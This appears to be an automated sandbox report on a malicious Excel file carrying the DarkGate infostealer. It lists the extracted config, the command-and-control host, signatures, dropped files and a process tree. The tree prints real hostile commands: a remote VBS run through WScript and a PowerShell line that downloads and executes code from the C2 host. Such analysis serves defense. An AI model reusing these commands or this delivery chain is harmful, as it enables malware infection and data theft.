Analysis

  • max time kernel
    151s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/03/2024, 11:41

General

  • Target
    march19-D1482-2024.xlsx
  • Size 56KB
  • Sample240320-nts4dsff84
  • SHA256 efb106418264f96ba251321a5c3ed8a191e3b8123f647d4ccf8c08d5447d03f6
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • darkgate

Botnet
  • admin888

C2
  • badbutperfect.com

Attributes
  • anti_analysis

    true

  • anti_debug

    false

  • anti_vm

    true

  • c2_port

    80

  • check_disk

    false

  • check_ram

    false

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_raw_stub

    false

  • internal_mutex

    WZqqpfdY

  • minimum_disk

    50

  • minimum_ram

    4000

  • ping_interval

    6

  • rootkit

    false

  • startup_persistence

    true

  • username

    admin888

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Detect DarkGate stealer 2 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 5 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\march19-D1482-2024.xlsx"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3552
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "\\escuelademarina.com\cloud\AZURE_DOC_OPEN.vbs"
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:5104
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'badbutperfect.com/nrwncpwo')
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4492
        • C:\rimz\AutoHotkey.exe
          "C:\rimz\AutoHotkey.exe" script.ahk
          4⤵
          • Executes dropped EXE
          • Checks processor information in registry
          PID:4644
        • C:\Windows\system32\attrib.exe
          "C:\Windows\system32\attrib.exe" +h C:/rimz
          4⤵
          • Views/modifies file attributes
          PID:952
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4148 --field-trial-handle=2180,i,12780723798465539942,12010519452607841069,262144 --variations-seed-version /prefetch:8
    1⤵
      PID:208

    Network

          MITRE ATT&CK Enterprise v15

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          Downloads

          __PSScriptPolicyTest_iayzo10j.5ei.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iayzo10j.5ei.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          AutoHotkey.exe

          • Path C:\rimz\AutoHotkey.exe
          • Size 892KB
          • SHA256 897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb
          • MD5 SHA1 SHA512 SSDEEP

          script.ahk

          • Path C:\rimz\script.ahk
          • Size 54KB
          • SHA256 5aac7d31149048763e688878c3910ae4881826db80e078754f5d08f2c1f39572
          • MD5 SHA1 SHA512 SSDEEP

          test.txt

          • Path C:\rimz\test.txt
          • Size 915KB
          • SHA256 a39dba6db04a85050ba7949881769f4b006b4a8edf691a605bfa5fe7c24d3489
          • MD5 SHA1 SHA512 SSDEEP

          memory/3552-21-0x00007FFAC1010000-0x00007FFAC1020000-memory.dmp

          memory/3552-23-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

          memory/3552-7-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

          memory/3552-6-0x00007FFAC3530000-0x00007FFAC3540000-memory.dmp

          memory/3552-8-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

          memory/3552-36-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

          memory/3552-10-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

          memory/3552-12-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

          memory/3552-11-0x00007FFAC1010000-0x00007FFAC1020000-memory.dmp

          memory/3552-13-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

          memory/3552-14-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

          memory/3552-15-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

          memory/3552-16-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

          memory/3552-17-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

          memory/3552-18-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

          memory/3552-19-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

          memory/3552-0-0x00007FFAC3530000-0x00007FFAC3540000-memory.dmp

          memory/3552-20-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

          memory/3552-5-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

          memory/3552-22-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

          memory/3552-9-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

          memory/3552-1-0x00007FFAC3530000-0x00007FFAC3540000-memory.dmp

          memory/3552-3-0x00007FFAC3530000-0x00007FFAC3540000-memory.dmp

          memory/3552-2-0x00007FFAC3530000-0x00007FFAC3540000-memory.dmp

          memory/3552-4-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

          memory/4492-49-0x00000209F5B30000-0x00000209F5B40000-memory.dmp

          memory/4492-50-0x00000209F6200000-0x00000209F63C2000-memory.dmp

          memory/4492-53-0x00007FFADB810000-0x00007FFADC2D1000-memory.dmp

          memory/4492-54-0x00000209F5B30000-0x00000209F5B40000-memory.dmp

          memory/4492-55-0x00000209F5B30000-0x00000209F5B40000-memory.dmp

          memory/4492-56-0x00000209F5B30000-0x00000209F5B40000-memory.dmp

          memory/4492-48-0x00000209F5B30000-0x00000209F5B40000-memory.dmp

          memory/4492-70-0x00007FFADB810000-0x00007FFADC2D1000-memory.dmp

          memory/4492-47-0x00007FFADB810000-0x00007FFADC2D1000-memory.dmp

          memory/4492-37-0x00000209DD930000-0x00000209DD952000-memory.dmp

          memory/4644-75-0x0000000004C50000-0x0000000004CC3000-memory.dmp

          memory/4644-77-0x0000000004C50000-0x0000000004CC3000-memory.dmp